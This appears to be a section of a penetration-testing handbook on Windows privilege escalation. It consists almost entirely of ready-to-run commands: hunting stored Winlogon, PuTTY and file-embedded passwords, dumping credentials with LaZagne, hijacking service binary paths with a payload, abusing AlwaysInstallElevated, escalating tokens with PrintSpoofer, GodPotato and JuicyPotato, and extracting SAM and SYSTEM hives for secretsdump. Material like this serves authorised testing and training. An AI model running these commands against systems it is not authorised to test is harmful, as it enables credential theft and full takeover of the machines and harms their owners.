9.5.2 Windows Privilege Escalation

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
dir /s /b C:\Windows\Panther\*unattend*.xml C:\Windows\System32\Sysprep\*.xml 2>nul
dir /s /b C:\Users\*.kdbx C:\Users\*.rdp C:\Users\id_rsa C:\Users\*.ppk 2>nul

Get-ChildItem C:\inetpub,C:\ProgramData,C:\Users -Recurse -File -ErrorAction SilentlyContinue |
  Where-Object { $_.Extension -in '.config','.xml','.ini','.txt','.ps1','.bat','.cmd','.yml','.yaml','.json' } |
  Select-String -Pattern 'password|passwd|secret|token|connectionString|user id=' -CaseSensitive:$false

Use a reviewed Windows build after identifying the current user and installed applications. Start with the relevant family; run broader collection only when useful. User-protected stores depend on that user's profile/decryption context; system-protected stores can need an elevated token.

9.5.2.3.1.4 Browser-store leads for the current user

REM Browser-store leads for the current user
laZagne.exe browsers

9.5.2.3.1.5 Broader recovery, with a local text report

REM Broader recovery, with a local text report
laZagne.exe all -oN

LaZagne upstream.

9.5.2.4.1 Inventory and inspect

Get-CimInstance Win32_Service | Select-Object Name,StartName,State,StartMode,PathName

sc.exe qc SERVICE
sc.exe sdshow SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE
accesschk.exe -accepteula -nobanner -v -w "USER" "C:\Path\To\service.exe"

9.5.2.4.2 Modifiable service configuration

Preserve BINARY_PATH_NAME, account and start mode first:

sc.exe qc SERVICE
sc.exe config SERVICE binPath= "C:\Windows\Temp\PAYLOAD_EXE"
sc.exe stop SERVICE
sc.exe start SERVICE

Restore:

sc.exe config SERVICE binPath= "ORIGINAL_BINARY_PATH"

sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
copy /Y "C:\Path\To\service.exe" "C:\Windows\Temp\service.exe.backup"
copy /Y "C:\Windows\Temp\PAYLOAD_EXE" "C:\Path\To\service.exe"
sc.exe stop SERVICE
sc.exe start SERVICE

Get-CimInstance Win32_Service |
  Where-Object { $_.PathName -match '\s' -and $_.PathName -notmatch '^\s*"' } |
  Select-Object Name,StartName,State,StartMode,PathName

For C:\Program Files\Vendor App\service.exe -d, check every attempted prefix:

icacls C:\
icacls "C:\Program Files"
icacls "C:\Program Files\Vendor App"
sc.exe qc SERVICE

Confirm:

1. exact DLL/helper/config name and architecture;
2. privileged process actually requests it;
3. selected attacker-writable location precedes the legitimate resolution;
4. payload preserves required exports/behavior where necessary;
5. reliable trigger exists.

icacls "C:\Path\To\Application"
sc.exe qc SERVICE
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode

9.5.2.7.1 Find privileged tasks or startup consumers you can influence Scheduled tasks

schtasks /query /fo LIST /v
schtasks /query /tn "\FOLDER\TASK" /xml

Get-ScheduledTask | ForEach-Object {
  $t = $_
  [pscustomobject]@{
    TaskPath=$t.TaskPath; TaskName=$t.TaskName
    UserId=$t.Principal.UserId; RunLevel=$t.Principal.RunLevel
    Actions=($t.Actions | ForEach-Object { "$($_.Execute) $($_.Arguments) [wd=$($_.WorkingDirectory)]" }) -join '; '
  }
}

icacls "C:\Path\To\task-script.ps1"
icacls "C:\Path\To"
schtasks /run /tn "\FOLDER\TASK"

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"

reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Both values must be 0x1:

msiexec.exe /quiet /qn /i C:\Path\To\PAYLOAD.msi

whoami /groups
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin

whoami /priv

PrintSpoofer64.exe -i -c "cmd.exe"

GodPotato-NET4.exe -cmd "cmd.exe /c whoami > C:\Windows\Temp\token-proof.txt"

reg save HKLM\SAM C:\Windows\Temp\SAM.hive
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive

impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL

Get-ItemProperty 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*',
                 'HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' -ErrorAction SilentlyContinue |
  Select-Object DisplayName,DisplayVersion,Publisher,InstallLocation

systeminfo
driverquery /v

Use a reviewed JAWS script when its PowerShell-based checks fit the current host/runtime. It is an alternative survey, not proof that every current Windows configuration is covered.

powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt

Read: turn a named service, path or credential finding into its exact native check (sc.exe qc, sc.exe sdshow, icacls, task XML, or the file read). Policy or language restrictions can still prevent the script from running. The process-scope flag does not override an enforced policy/control layer; use the manual checks already listed here.

Sources: upstream 1.

Use the current GodPotato/PrintSpoofer workflow first when its conditions fit. Older JuicyPotato-family recipes depend on specific COM/DCOM/RPC behavior; an enabled token privilege alone is not the complete condition.

9.5.2.15.1 Legacy JuicyPotato: requires a working CLSID and supported Windows build

REM Legacy JuicyPotato: requires a working CLSID and supported Windows build
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * -c CLSID -a "/c whoami > C:\Windows\Temp\identity-check.txt"

9.5.2.15.2 Separate EFS-triggered helper, if its documented prerequisites fit

REM Separate EFS-triggered helper, if its documented prerequisites fit
SharpEfsPotato.exe -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Windows\Temp\identity-check.txt"

type C:\Windows\Temp\identity-check.txt

Read: verify the exact resulting token/identity and effect. CLSID/RPC/trigger errors can mean an incompatible build, service state or blocked primitive—not a wrong password. Original JuicyPotato is a legacy option and is not a universal modern-Windows escalation. Inspect each helper's local help/version; do not interchange flags across JuicyPotatoNG, GodPotato and SharpEfsPotato.

Sources: upstream 1 · upstream 2.